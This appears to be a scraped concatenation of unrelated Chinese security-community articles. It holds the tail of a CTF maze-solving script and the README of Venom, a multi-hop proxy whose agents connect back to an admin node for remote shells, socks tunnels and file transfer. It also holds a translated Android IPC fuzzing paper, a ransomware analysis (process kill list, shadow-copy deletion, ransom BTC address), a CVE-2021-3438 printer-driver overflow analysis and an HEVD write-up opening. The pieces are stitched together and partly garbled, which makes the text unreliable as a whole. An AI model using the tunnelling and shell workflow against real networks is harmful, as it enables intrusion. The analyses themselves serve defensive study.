count_map[new_y, new_x] = count_map[y, x] + 1
if pixels[new_y, new_x] in map(ord, list('/')):
up_x, up_y = upstairs[cur_floor]
if go_type == GO_UP:
return [new_seq, up_x, up_y]
if cur_floor == len(floors) - 1:
goto_dest([new_seq, up_x, up_y])
back = find_next_dest(GO_DOWN)
goto_dest(back)
dest = find_next_dest(go_type)
return dest
else:
for i, d2 in enumerate(directions):
s, dx, dy = d2
up_pixels = floors[cur_floor + 1].load()
down_x, down_y = downstairs[cur_floor + 1]
if up_pixels[down_y + dy, down_x + dx] in map(ord, list('.')):
new_seq += s
new_seq += directions[3 - i][0]
break
q.put([new_seq, new_x, new_y])
continue
if pixels[new_y, new_x] in map(ord, list('\')):
down_x, down_y = downstairs[cur_floor]
if go_type == GO_DOWN:
return [new_seq, down_x, down_y]
for i, d2 in enumerate(directions):
s, dx, dy = d2
down_pixels = floors[cur_floor - 1].load()
up_x, up_y = upstairs[cur_floor - 1]
if down_pixels[up_y + dy, up_x + dx] in map(ord, list('.')):
new_seq += s
new_seq += directions[3 - i][0]
break
q.put([new_seq, new_x, new_y])
continue
if pixels[new_y, new_x] in map(ord, list('Y')):
return [new_seq, new_x, new_y]
if pixels[new_y, new_x] in map(ord, list('ADP')):
return [new_seq, new_x, new_y]
if pixels[new_y, new_x] in map(ord, list('.')):
q.put([new_seq, new_x, new_y])
return None
def run():
io.write("OKn")
r = io.read_nonblocking(4096)
add_new_floor(r)
r = io.read_nonblocking(4096)
add_new_floor(r)
while True:
dest = find_next_dest(GO_THROUGH)
if dest != None:
goto_dest(dest)
else:
dest = find_next_dest(GO_UP)
if dest == None:
dest = find_next_dest(GO_PRINCESS)
if dest == None:
break
goto_dest(dest)
time.sleep(1)
if can_beat_all_princesses():
break
while cur_floor != 0:
dest = find_next_dest(GO_DOWN)
goto_dest(dest)
dest = find_next_dest(GO_PRINCESS)
goto_dest(dest)
dest = find_next_dest(GO_THROUGH)
goto_dest(dest)
r = io.read_nonblocking(4096)
r = io.read_nonblocking(4096)
r = io.read_nonblocking(4096)
r = io.read_nonblocking(4096)
run()
这题虽然是赛后解出来的,但是也发出来吧→_→ | 社区文章 |
## Venom - A Multi-hop Proxy for Penetration Testers
[简体中文](https://github.com/Dliv3/Venom/blob/master/README.md) ｜
[English](https://github.com/Dliv3/Venom/blob/master/README-en.md)
<https://github.com/Dliv3/Venom>
Venom是一款为渗透测试人员设计的使用Go开发的多级代理工具。
Venom可将多个节点进行连接，然后以节点为跳板，构建多级代理。
渗透测试人员可以使用Venom轻松地将网络流量代理到多层内网，并轻松地管理代理节点。
**此工具仅限于安全研究和教学，用户承担因使用此工具而导致的所有法律和相关责任！ 作者不承担任何法律和相关责任！**
## 特性
* 可视化网络拓扑
* 多级socks5代理
* 多级端口转发
* 端口复用 (apache/mysql/...)
* ssh隧道
* 交互式shell
* 文件的上传和下载
* 支持多种平台(Linux/Windows/MacOS)和多种架构(x86/x64/arm/mips)
**由于IoT设备（arm/mips/...架构）通常资源有限，为了减小二进制文件的大小，该项目针对IoT环境编译的二进制文件不支持端口复用和ssh隧道这两个功能，并且为了减小内存使用限制了网络并发数和缓冲区大小。**
## 使用
**Youtube演示视频:<https://www.youtube.com/playlist?list=PLtZO9vwOND91vZ7yCmlAvISmEl2iQKjdI>**
### 1\. admin/agent命令行参数
* **admin节点和agent节点均可监听连接也可发起连接**
admin监听端口，agent发起连接:
./admin_macos_x64 -lport 9999
./agent_linux_x64 -rhost 192.168.0.103 -rport 9999
agent监听端口，admin发起连接:
./agent_linux_x64 -lport 8888
./admin_macos_x64 -rhost 192.168.204.139 -rport 8888
* **agent节点支持端口复用**
agent提供了两种端口复用方法
1. 通过SO_REUSEPORT和SO_REUSEADDR选项进行端口复用
2. 通过iptables进行端口复用(仅支持Linux平台)
通过venom提供的端口复用功能，在windows上可以复用apache、mysql等服务的端口，暂时无法复用RDP、IIS等服务端口，在linux上可以复用多数服务端口。被复用的端口仍可正常对外提供其原有服务。
**第一种端口复用方法**
# 以windows下apache为例
# 复用apache 80端口，不影响apache提供正常的http服务
# -h 的值为本机ip，不能写0.0.0.0，否则无法进行端口复用
./agent.exe -lhost 192.168.204.139 -reuse-port 80
./admin_macos_x64 -rhost 192.168.204.139 -rport 80
**第二种端口复用方法**
# 以linux下apache为例
# 需要root权限
sudo ./agent_linux_x64 -lport 8080 -reuse-port 80
这种端口复用方法会在本机设置iptables规则，将`reuse-port`的流量转发到`lport`，再由agent分发流量
需要注意一点，如果通过`sigterm`，`sigint`信号结束程序(kill或ctrl-c)，程序可以自动清理iptables规则。如果agent被`kill
-9`杀掉则无法自动清理iptables规则，需要手动清理，因为agent程序无法处理`sigkill`信号。
为了避免iptables规则不能自动被清理导致渗透测试者无法访问80端口服务，所以第二种端口复用方法采用了`iptables -m
recent`通过特殊的tcp包控制iptables转发规则是否开启。
这里的实现参考了 <https://threathunter.org/topic/594545184ea5b2f5516e2033>
# 启动agent在linux主机上设置的iptables规则
# 如果rhost在内网，可以使用socks5代理脚本流量，socks5代理的使用见下文
python scripts/port_reuse.py --start --rhost 192.168.204.135 --rport 80
# 连接agent节点
./admin_macos_x64 -rhost 192.168.204.135 -rport 80
# 如果要关闭转发规则
python scripts/port_reuse.py --stop --rhost 192.168.204.135 --rport 80
### 2\. admin节点内置命令
* **help** 打印帮助信息
(admin node) >>> help
help Help information.
exit Exit.
show Display network topology.
getdes View description of the target node.
setdes [info] Add a description to the target node.
goto [id] Select id as the target node.
listen [lport] Listen on a port on the target node.
connect [rhost] [rport] Connect to a new node through the target node.
sshconnect [user@ip:port] [dport] Connect to a new node through ssh tunnel.
shell Start an interactive shell on the target node.
upload [local_file] [remote_file] Upload files to the target node.
download [remote_file] [local_file] Download files from the target node.
socks [lport] Start a socks5 server.
lforward [lhost] [sport] [dport] Forward a local sport to a remote dport.
rforward [rhost] [sport] [dport] Forward a remote sport to a local dport.
* **show** 显示网络拓扑
A表示admin节点，数字表示agent节点
下面的拓扑图表示，admin节点下连接了1节点，1节点下连接了2、4节点，2节点下连接了3节点
(node 1) >>> show
A
+ -- 1
+ -- 2
+ -- 3
+ -- 4
注意要对新加入的节点进行操作，需要首先在admin节点运行show命令同步网络拓扑和节点编号
* **goto** 操作某节点
(admin node) >>> goto 1
(node 1) >>>
在goto到某节点之后你就可以使用下面将要介绍的命令
* **getdes/setdes** 获取/设置节点信息描述
(node 1) >>> setdes linux x64 blahblahblah
(node 1) >>> getdes
linux x64 blahblahblah
* **connect/listen/sshconnect** 节点间互连
node 1节点连接192.168.0.103的9999端口
(node 1) >>> connect 192.168.0.103 9999
connect to 192.168.0.103 9999
successfully connect to the remote port!
(node 1) >>> show
A
+ -- 1
+ -- 2
在node1节点监听9997端口, 然后在另一台机器上运行`./agent_linux_x64 -rhost 192.168.204.139 -rport
9997` 连接node1
(node 1) >>> listen 9997
listen 9997
the port 9997 is successfully listening on the remote node!
(node 1) >>> show
A
+ -- 1
+ -- 2
+ -- 3
在192.168.0.104上执行`./agent_linux_x64 -lport 9999`,
node3通过sshconnect建立ssh隧道连接192.168.0.104的9999端口。你可以使用密码或者是ssh私钥进行认证。
(node 1) >>> goto 3
(node 3) >>> sshconnect [email protected]:22 9999
use password (1) / ssh key (2)? 2
file path of ssh key: /Users/dlive/.ssh/id_rsa
connect to target host's 9999 through ssh tunnel ([email protected]:22).
ssh successfully connects to the remote node!
(node 3) >>> show
A
+ -- 1
+ -- 2
+ -- 3
+ -- 4
* **shell** 获取节点的交互式shell
(node 1) >>> shell
You can execute commands in this shell :D, 'exit' to exit.
bash: no job control in this shell
bash-3.2$ whoami
whoami
dlive
bash-3.2$ exit
exit
exit
* **upload/download** 向节点上传/从节点下载文件
将本地/tmp/test.pdf上传到node1的/tmp/test2.pdf
(node 1) >>> upload /tmp/test.pdf /tmp/test2.pdf
upload /tmp/test.pdf to /tmp/test2.pdf
this file is too large(>100M), still uploading? (y/n)y
154.23 MiB / 154.23 MiB [========================================] 100.00% 1s
upload file successfully!
将node1的文件/tmp/test2.pdf下载到本地的/tmp/test3.pdf
(node 1) >>> download /tmp/test2.pdf /tmp/test3.pdf
download /tmp/test2.pdf from /tmp/test3.pdf
this file is too large(>100M), still downloading? (y/n)y
154.23 MiB / 154.23 MiB [========================================] 100.00% 1s
download file successfully!
* **socks** 建立到某节点的socks5代理
(node 1) >>> socks 7777
a socks5 proxy of the target node has started up on local port 7777
执行成功socks命令之后，会在admin节点本地开启一个端口，如上述的7777，使用7777即可进行socks5代理
* **lforward/rforward** 将本地端口转发到远程/将远程端口转发到本地
lforward将admin节点本地的8888端口转发到node1的8888端口
(node 1) >>> lforward 127.0.0.1 8888 8888
forward local network 127.0.0.1 port 8888 to remote port 8888
rforward 将node1网段的192.168.204.103端口8889转发到admin节点本地的8889端口
(node 1) >>> rforward 192.168.204.103 8889 8889
forward remote network 192.168.204.103 port 8889 to local port 8889
### 3\. 注意事项
* 现阶段仅支持单个admin节点对网络进行管理
* 要对新加入的节点进行操作，需要首先在admin节点运行show命令同步网络拓扑和节点编号
* 当使用第二种端口复用方法(基于iptables)时，你需要使用`script/port_reuse.py`去启用agent在目标主机上设置的端口复用规则。
## TODO
* 与regeorg联动
* 多个admin节点同时对网络进行管理
* 节点间通信流量加密
* socks5对udp的支持
* 与meterpreter联动 (待定)
* RESTful API
## 致谢
* [rootkiter#Termite](https://github.com/rootkiter/Termite)
* [ring04h#s5.go](https://github.com/ring04h/s5.go)
* [n1nty#远程遥控 IPTables 进行端口复用](https://threathunter.org/topic/594545184ea5b2f5516e2033) | 社区文章 |
# 一种基于模板的针对Android进程间通信的自动化Fuzzing方法
|
##### 译文声明
本文是翻译文章，文章原作者 acm，文章来源：dl.acm.org
原文地址：<https://dl.acm.org/doi/abs/10.1145/3407023.3407052>
译文仅供参考，具体内容表达以及含义原文为准。
## 摘要
模糊测试fuzzing是一种通过向目标发送非预期输入并监控异常输出结果来发现crash的漏洞测试方法。我们此次目标是在安卓的IPC机制上进行fuzz，通过自动化fuzz来找安卓应用程序间的通信机制bug。
Android上的沙箱机制会确保应用程序只能通过编程接口与其他应用程序通信,与传统操作系统不同，两个安卓程序在相同的用户上下文环境运行时不能相互访问数据或执行退出操作。
本文提及的IPC
fuzzer方法通过程序拆解和分析应用程序的字节码来实现fuzz功能，而且该fuzzer支持输入生成分析和输出后结果分析，这些结果可以使我们了解崩溃原因详情。我们通过对谷歌商店上架的1488个应用进行fuzz测试，发现能在450个应用中引发崩溃。并且值得注意的是，这些缺陷同时也存在于Unity、谷歌服务API和Adjust
SDK中。与之前类似研究相比，本文在crash检测的深度和广度上均有提升。
关键词：fuzzing，Android安全，进程间通信
## 1 简介
Fuzzing一种通过随机输入来测试软件的技术， 任何程序或库均可做fuzz，比如导出api、读取文件、用户输入字段或网络通信信息等等。
Fuzzing自动化比率很高，因而被广泛应用于测试工作中，因为一个fuzzer启动并运行后就可以脱离人的操作而独立寻找bug。
本文提出了一种针对Android的IPC机制的基于模板的自动模糊处理方法。
众所周知，Android上的IPC消息被称为Intents，因此我们做了一个Intent fuzzer并将其集成到开源安全审计工具drozer中。
与之前的Android IPC消息的fuzzing工作相比，我们对应用程序的组件结构进行更广泛的预分析，并改善了基于模板的代码覆盖率所需的条件。
通过对1488个应用进行Fuzzing，我们发现有450个应用可以引发崩溃，其中不乏比较出名的谷歌框架。这项研究主要关注的是本应用程序暴露给其他应用程序接口的代码稳定性，不关注代码执行问题。
## 2 背景
Android的IPC模式与普通的桌面操作系统不同，是由Android的binder实现的，binder机制充当了应用程序之间的媒介。
Android的Binder机制的核心是它的内核驱动程序，它负责处理不同进程之间的所有通信，即所有的通信均由系统API提供的Binder API完成。
从客户端发送到服务器端的过程称为transaction事务，事务可以调用内核驱动程序完成整个服务。
此外，每个transaction事务可以包含一个贮存在Parcel容器中的载荷，并且transaction事务可以被单向异步执行或者双向同步执行。
对应用程序本身而言，前面所讲的Binder其实是Intent的抽象概念。Intent对象为数据提供了一些标准字段，但大多数情况下，载荷选择使用Bundle进行发送任务。可以说Android系统中的Bundle是一个包含一组键值对的映射，这些映射可以使得Intent轻易找到目标对象。显式Intent和隐式Intent的使用方法是不同的，显式Intent规定信息传递给提前被确定好的特定应用程序，而隐式的Intent则广播给支持该操作的任何应用程序。
程序的主要组件包括：Activities活动，Services服务和Broadcast
Receivers广播接收器。Activity可以是用户操作的活动，比如提供图形界面与用户交互，我们可以通过Intent创建或调用一个新活动。由于设定限制，Android系统一次只能在前端运行一个Activity。后台运行通过Services实现，Services不提供用户界面，即使用户切换另一个应用程序，Services也会继续通过广播接收器来接收从操作系统或其他应用程序发来的广播以传播信息并触发行为。
## 3 设计与实现
本节主要介绍设计方面的注意事项和实现方法，该实现方法目前处于开源状态。下图即为我们的fuzzing实现方法：
首先，APK文件会被静态分析器模块解析，输出有效Intent并建立Intent模板。这些Intent模板会被推送至相关引擎并存储在数据库中，接着drozer模块会把APK安装在专用设备上并启动fuzzing，同时设备的日志也会记录并储存fuzzing引发的崩溃、异常信息到crash数据库中，其堆栈使用情况也会被保存下来。
同样的，作为fuzz对象的intent的拓扑结构也很重要，毕竟我们希望输入测试的行为意图越密集越好，而且想触发尽可能多的执行路径。Android的manifest给出部分Intent信息，比如URI信息，比如以映射形式储存载荷的字段。manifest文件不包含结构信息，因此必须进行源代码分析。
但Intent类定义了一组提取映射方法，因此可以跟踪Intent相关方法的所有调用，从而获得每个组件所期望映射的所有列表信息。
我们从每个被导出组件开始入手搜索这些映射，就可以找到Intent和期望域的依赖关系字段。依靠这些依赖情况，我们就创建Intent模板，每个被导出组件的有效Intent应该包含以下信息：必要字段，键值映射以及它们被解压成的数据类型。有了这些信息，我们的Intent引擎就可以启动Intent的map构建及优化过程了。
在进行Intent结构模板构建的时候，我们先从上述已提供的模板中生成有效的包含了预期数据类型的Intent信息，信息至少应包括行为、数据类别，以及附加字段。然后，我们将涉及调用部分的Intent结构进行修改优化。此外，在引擎设计中，我们通过随机初始算法进行模板信息随机填充。在完成模板创建之后，我们就可以使用这些模板来进行真实数据集作为测试集的fuzz工作了。我们在测试设备上安装了drozer代理，这样我们就可以与测试机的安卓系统进行交互并向测试机发送intent模板进行测试。
同时我们也设定了时间间隔机制来确保测试尽可能相互独立。运行时的crsah日志信息包含了包括Java堆栈的所有崩溃相关信息，这些信息按受影响的组件进行分组，即每个组件分组下都有引发该组件崩溃的相关日志信息。
## 4 价值分析
我们对在谷歌应用商店上架的1488个应用进行了模糊测试，测试设备是Android 9.0系统的Nexus
5X。这1488个测试应用中有921至少有一个组件在测试期间crash，有450应用程序在测试期间完全crash。导出的组件。通过分析未发现导出的组件数量与检测到的有crash组件数量之间有任何相关性，即组件较多的应用不一定比组件少的应用更容易崩溃，然而暴露更多的信息的确很容易增大被攻击机会。
通过分析我们共发现了635个组件容易受到攻击，且存在发送一个intent就能使450个应用crash的情况。
除了其他研究者发现的NullpointerExceptions是activity引起crash的主要原因以外，我们也发现了一些其他类型的crash，在下表中列出。该表列出了所有fuzzing结果中导致应用程序crash的组件的频率，并进行了排序。
此外，我们将异常crash情况分成了三组，分别是转换异常， Unsupported Exceptions和溢出。 转换异常包括class
cast异常，illegal argument异常和Number
Format异常，这些异常都是因为fuzz未能进一步通过映射完成符合APP逻辑的结构探索引发的，其通常在数据转换时发生失败。对于class
cast异常情况来说，大多数是指组件试图将一个对象转换成另一个类型，但目标类型不是当前对象的子类型。对于Number
Format异常来说，情况大多数是程序试图将字符串类型转换为数字类型，但是字符串格式不合适。
Unsupported Exceptions包括Illegal State异常，Invocation Target异常和Unsupported
Operation异常，这些异常通常是由于应用程序解析逻辑不符造成的，实验证明主要的crash原因就是这些。溢出是在Intent执行数组操作时产生的，例如Index
Out Of Bounds异常等等，这种异常通常在组件尝试读取数组或集合中指数时引发。
在我们的实验中，我们注意到并不是所有的crash都是由开发人员代码中的bug引起的， 而第三方框架也会对应用程序IPC产生严重影响。 值得注意的是:
（1）Google Play
Services提供了各种可被集成在程序中的不同的API，其中一些API可能会引发crash，而这些crash问题大多都与broadcast
receiver有关。
（2）在用户需要更复杂图像功能时，有些人会选择Unity作为图像引擎，例如应用在游戏中。
因此，unity提供了自己的交互编辑器编译环境。我们在unity的VRPurchaseActivity组件中发现了NullPointer异常，
这说明PurchaseActivity的解包过程存在缺陷且可能引发功能。
（3）企业会使用Adjust功能收集统计数据，这个SDK可以用于检测用户访问应用程序的次数和使用程序时间，在实验中我们发现Adjust Referrer
Receiver组件会引发crash。 而在一些google play service中，发送包含在intent中的畸形URI也会引发崩溃。
## 5 同类型的FUZZER比较
ComDroid，IntentFuzzer，NCCgroupfuzzer和Fuzzinozer框架都是针对Android的IPC机制的fuzzer，。
Comdroid方法使用半自动化的、动静分析混合的策略来评估intent对象、活动或服务，它可以检测潜在的漏洞，侧重于未经授权的intent
receipts和intent欺骗，这种设计策略与我们的策略是相反的。
Sasnauskas等人构建UI测试框架Monkey和FlowDroid实现IPC fuzzer。与我们的工作类似，这项研究也关注到了intent结构。
然而，他们始于空intent而我们关注的是静态处理后的组件中的intent，这样我们就创建一个更大的有效集。我们认为通过这样的方式，我们就可以得到更多的异常抛出和crash，也就更容易扩大检测范围和得到检出结论。该想法同样也在NCC
Fuzzer中得到了证实，但是代码覆盖率只增加了1%。
Fuzzinozer方法与本文中提出的fuzzer比较相似，它的主体是一个Drozer框架的扩展模块（NCC goup
fuzzer是个独立框架）。在设计方法上与本文不同的是， Fuzzinozer不依赖于任何静态分析方法，且从null
intent开始进行随机的fuzzing工作，且未进行log分析。具体这些fuzzing方法的测试情况如下：
## 6 结论
本文提出的基于模板的fuzzing方法通过对drozer框架进行拓展开发而落地实现，通过该设计方法可以发现一些开源第三方库的漏洞。 | 社区文章 |
# 警惕：新型勒索病毒来袭，勒索提示信息使用德语！
##### 译文声明
本文是翻译文章，文章原作者 安全分析与研究，文章来源：安全分析与研究
原文地址：<https://mp.weixin.qq.com/s/9p03N54y4lNBmSwToBrrEA>
译文仅供参考，具体内容表达以及含义原文为准。
近日国外某独立安全研究员(专门从事恶意样本分析工作)，发现了一款新型的勒索病毒，这款勒索病毒使用了高强度代码混淆手段，会修改桌面背景，这种手法与之前的GandCrab和Sodinokibi两款勒索病毒非常类似，这款勒索病毒的勒索提示信息使用了德语，这种使用德语提示信息的勒索病毒在之前发现的勒索病毒家族中是比较少见的，之前报告我就说过，GandCrab勒索病毒的故事虽然结束了，但后面会有越来越多的像GandCrab的黑产团伙出现，因为只要有利益的地方，就会有黑产，GandCrab让做黑产的看到了巨大的利益，未来新型勒索病毒还会增加，虽然总体数量可能会减少，但针对企业的勒索攻击会越来越多，流行的勒索病毒家族会增多，使用技术手段也会不断变化，这些针对企业的勒索病毒背后都会有一个像GandCrab黑产运营团队那样的团队，他们分工协作，在背后操控运营着这些流行的勒索病毒，专门针对特定企业进行勒索攻击，然后从中获取巨大的利润，这款勒索病毒未来可能会爆发，请各安全厂商密切关注此勒索病毒的活跃情况，即时预警，国外独立恶意软件安全研究人员曝光此勒索病毒的信息，如下所示：
勒索病毒样本已经被人上传到了在app.any.run网站，这个在线的分析网站做的不错，很适合一些新手，在我的知识星球写了一篇对这个网站的详细介绍，加入去知识星球学习，到目前为止这个网站已经收集了很多最新的病毒样本，估计都是国内外一些客户发现病毒样本之后，然后上传到这个网站的，这种在线沙箱网站是一种很好的收集最新病毒样本的方式，如下所示：
此勒索病毒运行之后，加密后的文件后缀为随机名，如下所示：
会修改桌面的背景，如下所示：
同时会在桌面生成一个勒索提示文件，文件名：[加密后缀]_Entschluesselungs_Anleitung.html，内容为德语，如下所示：
交付赎金的BTC地址：19D4iUqYYd1y3Hn295yfsacXUykWwqZaov，需要支付0.15个左右BTC
勒索病毒核心技术剖析
1.此勒索病毒母体使用了高强度的混淆代码，以逃避杀毒软件的检测，外壳采用VC编写，如下所示：
该样本的时间戳为2019年8月1日，如下所示：
2.获取函数地址，并分配相应的内存空间，如下所示：
3.在内存中解密出代码，然后跳转执行，如下所示：
4.解密执行内层的Payload代码，如下所示：
5.从内存中DUMP出Payload核心，是一个Delphi语言编写的勒索病毒，如下所示：
6.创建一个互斥变量HSDFSD-HFSD-3241-91E7-ASDGSDGHH，如下所示：
7.遍历进程，结束相关进程，如下所示：
结束相关进程
notepad.exe,dbeng50.exe,sqbcoreservice.exe,encsvc.exe,mydesktiopservice.exe,isqlplussvc.exe,agntsvc.exe,sql.exe,sqld.exe,mysql.exe,mysqld.exe,oracle.exe
如下所示：
8.创建互斥变量cFgxTERNWEVhM2V，获取主机磁盘目录，如下所示：
9.遍历磁盘目录文件，然后加密，此勒索病毒加密后的文件全填充为零，如下所示：
10.生成勒索信息文件[加密后缀]+ _Entschluesselungs_Anleitung.html,如下所示：
11.生成桌面背景，修改桌面背景，如下所示：
12.调用cmd命令删除磁盘卷影等操作，如下所示：
本文转自：[安全分析与研究](https://mp.weixin.qq.com/s/9p03N54y4lNBmSwToBrrEA) | 社区文章 |
# CVE-2021-3438：SSPORT.SYS打印机驱动漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 基本情况
2021年2月18日，[SentinelLabs](https://labs.sentinelone.com/cve-2021-3438-16-years-in-hiding-millions-of-printers-worldwide-vulnerable/)向惠普报告了其在打印机驱动程序中发现的严重漏洞，该漏洞影响[380多款不同的HP和Samsung](https://support.hp.com/us-en/document/ish_3900395-3833905-16)打印机，以及[十几种Xerox](https://securitydocs.business.xerox.com/wp-content/uploads/2021/05/cert_Security_Mini_Bulletin_XRX21K_for_B2XX_PH30xx_3260_3320_WC3025_32xx_33xx.pdf)打印机产品。该漏洞编号为CVE-2021-3438，CVSS评分8.8分，由于其存在模块从2005年开始发布，因此影响范围较大。目前该漏洞已完成修复，惠普和Xerox分别发布了针对该漏洞的安全更新信息[HPSBPI03724](https://support.hp.com/us-en/document/ish_3900395-3833905-16)和[XRX21K](https://securitydocs.business.xerox.com/wp-content/uploads/2021/05/cert_Security_Mini_Bulletin_XRX21K_for_B2XX_PH30xx_3260_3320_WC3025_32xx_33xx.pdf)。
## 漏洞分析
该漏洞出现的模块是SSPORT.SYS，该文件在点击打印机驱动安装程序之后，无论是否完成安装，该文件都会静默安装到C:\Windows\System32\Drivers路径下，且被激活。该文件是一个古老的驱动的驱动文件，文件大小只有十几K，下图可以看出驱动文件包含微软的签名：
下面以HP_Color_Laser_150_Full_Software_and_Drivers_1.14.exe和HP_Color_Laser_150_Full_Software_and_Drivers_1.16.exe安装程序为例，分析该漏洞的基本情况。使用虚拟机快照，分别在windows
10上安装这两个驱动安装程序，安装后从C:\Windows\System32\Drivers路径中获取SSPORT.SYS驱动文件，两个驱动文件的函数基本情况如下：
1.14版本SSPORT.SYS函数情况
1.16版本SSPORT.SYS函数情况
1.14版本DriverEntry函数为：
NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
NTSTATUS result; // eax
int v4; // ebx
PDEVICE_OBJECT DeviceObject; // [rsp+40h] [rbp-38h] BYREF
struct _UNICODE_STRING DestinationString; // [rsp+48h] [rbp-30h] BYREF
struct _UNICODE_STRING SymbolicLinkName; // [rsp+58h] [rbp-20h] BYREF
DeviceObject = 0i64;
RtlInitUnicodeString(&DestinationString, L"\\Device\\SSPORT");
result = IoCreateDevice(DriverObject, 0, &DestinationString, 0x22u, 0x100u, 0, &DeviceObject);
if ( result >= 0 )
{
DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)&sub_15000;
DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)&sub_15000;
DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)sub_15070;
DriverObject->DriverUnload = (PDRIVER_UNLOAD)sub_15030;
RtlInitUnicodeString(&SymbolicLinkName, L"\\DosDevices\\ssportc");
v4 = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
if ( v4 < 0 )
IoDeleteDevice(DeviceObject);
result = v4;
}
return result;
}
1.16版本DriverEntry函数为：
NTSTATUS __stdcall DriverEntry(_DRIVER_OBJECT *DriverObject, PUNICODE_STRING RegistryPath)
{
NTSTATUS result; // eax
int v4; // ebx
struct _UNICODE_STRING DeviceName; // [rsp+40h] [rbp-28h] BYREF
struct _UNICODE_STRING DestinationString; // [rsp+50h] [rbp-18h] BYREF
PDEVICE_OBJECT DeviceObject; // [rsp+80h] [rbp+18h] BYREF
DeviceObject = 0i64;
RtlInitUnicodeString(&DeviceName, aDeviceSsport);
result = IoCreateDevice(DriverObject, 0, &DeviceName, 0x22u, 0x100u, 0, &DeviceObject);
if ( result >= 0 )
{
DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)sub_15008;
DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)sub_15008;
DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)sub_15074;
DriverObject->DriverUnload = (PDRIVER_UNLOAD)sub_15030;
RtlInitUnicodeString(&DestinationString, aDosdevicesSspo);
v4 = IoCreateSymbolicLink(&DestinationString, &DeviceName);
if ( v4 < 0 )
IoDeleteDevice(DeviceObject);
result = v4;
}
return result;
}
简单分析可以发现，1.14和1.16的核心处理函数分别为sub_15070和sub_15074，这两个函数的关键处理代码对比如下：
sub_15070函数：
__int64 __fastcall sub_15070(__int64 a1, __int64 a2)
{
------//省略部分代码
v10 = *(char **)(a2 + 24);
v11 = v10;
v12 = (char *)((char *)qword_11030 - v10);
while ( 1 )
{
v13 = *v11;
if ( *v11 != v12[(_QWORD)v11] )
break;
++v11;
if ( !v13 )
{
v14 = 0;
goto LABEL_13;
}
}
v14 = -((unsigned __int8)*v11 < (unsigned int)v12[(_QWORD)v11])
- (((unsigned __int8)*v11 < (unsigned int)v12[(_QWORD)v11])
- 1);
if ( v14 )
{
strncpy(Dest, *(const char **)(a2 + 24), v7);
v15 = v10;
}
else
{
v15 = Dest;
}
strncpy(v10, v15, v8);
if ( v8 < (unsigned int)v4 )
v5 = v8;
*(_QWORD *)(a2 + 56) = v5;
------ }
sub_15074函数如下：
__int64 __fastcall sub_15074(__int64 a1, IRP *a2)
{
------//省略部分代码
v9 = a2->AssociatedIrp.MasterIrp;
if ( !strcmp((const char *)v9, (const char *)qword_151F0) )
{
v10 = v5;
v11 = Dst;
v12 = (char *)v9;
}
else
{
memset(Dst, 0, 0x64ui64);
v10 = 99i64;
v11 = (const char *)v9;
v12 = Dst;
}
strncpy(v12, v11, v10);
if ( (unsigned int)v5 < (unsigned int)v2 )
v7 = v5;
a2->IoStatus.Information = v7;
------ }
对比可以发现，1.16版本的SSPORT.SYS驱动文件对数据拷贝函数strncpy的使用前进行了处理和限制，规定了拷贝的大小v10=99，且对传入数据作了限制。而观察1.14版本SSPORT.SYS驱动文件没有对传入数据进行任何限制，直接进行strncpy拷贝，当传入数据大小较大时，就会出现溢出的现象。
## 漏洞复现
该漏洞发生模块为SSPORT.SYS驱动模块，因此触发到该漏洞后会导致系统崩溃蓝屏现象。在Win10上安装1.14版本驱动安装程序后，传入SSPORT.SYS驱动的数据设置成超长字符数组，则会立刻触发漏洞，导致系统蓝屏。复现情况如下视频所示：
## 漏洞影响
该漏洞触发后会导致系统崩溃蓝屏现象,成功利用之后可以引发非特权用户提升到SYSTEM权限，并在kernel模式下运行代码。成功利用该驱动程序漏洞可能允许攻击者安装程序、查看、更改、加密或删除数据，或者创建具有完全用户权限的新帐户。
## 漏洞修复和建议
目前该漏洞厂商已发布修复补丁，惠普和Xerox分别发布了针对该漏洞的安全更新信息[HPSBPI03724](https://support.hp.com/us-en/document/ish_3900395-3833905-16)和[XRX21K](https://securitydocs.business.xerox.com/wp-content/uploads/2021/05/cert_Security_Mini_Bulletin_XRX21K_for_B2XX_PH30xx_3260_3320_WC3025_32xx_33xx.pdf)。
为了缓解这个问题，用户应该使用[这个链接](https://support.hp.com/us-en/drivers/printers)并查找他们的打印机型号，然后下载补丁文件，进行漏洞修复。
## 参考链接
<https://labs.sentinelone.com/cve-2021-3438-16-years-in-hiding-millions-of-printers-worldwide-vulnerable/> | 社区文章 |
lz520520@深蓝攻防实验室
# 0x00 前言
漏洞分析第一篇，在讲UAF之前， 先简单过一下HEVD代码的逻辑，方便后续的分析。
# 0x01 HEVD代码分析
## 1.1 驱动程序逻辑分析
驱动程序的主函数文件是HackSysExtremeVulnerableDriver.c
主要包含5个函数
DriverEntry: 驱动程序入口函数，类似于exe的main、dll的DllMain
IrpDeviceIoCtlHandler: 设备操作处理函数，DeviceIoControl请求处理，重要函数，根据请求会调用不同漏洞代码模块。
DriverUnloadHandler: 驱动卸载处理函数，可忽略
IrpCreateCloseHandler：驱动设备打开关闭处理函数，通常来说就是CreateFile、CloseHandle的请求处理，可忽略
IrpNotImplementedHandler：可忽略
除了DriverEntry是固定函数名，其他都是自定义的，只有传参和返回类型是有要求的，那么是怎么将相关请求绑定相关函数的呢。
ring3在访问驱动（通过驱动符号链接）进行操作时，会产生相应的IRP（I/O Request
Package）事件，在驱动内对IRP进行操作，实现用户层对驱动的操作。
实现对IRP事件的处理需要使用到派遣函数，这时就是通过驱动对象的MajorFunction属性进行IRP请求类型和派遣函数绑定，所以派遣函数其实也是回调函数，也是为啥传参和返回类型是有要求的。
如下所示
IRP_MJ_CREATE对应CreateFile请求。
IRP_MJ_CLOSE对应CloseHandle请求。
IRP_MJ_DEVICE_CONTROL则对应DeviceIoControl请求，绑定的派遣函数是IrpDeviceIoCtlHandler。
IrpDeviceIoCtlHandler里获取IRP请求里设置的控制码，通过switch-case来调用不同的漏洞代码模块。当然控制码是自定义的。
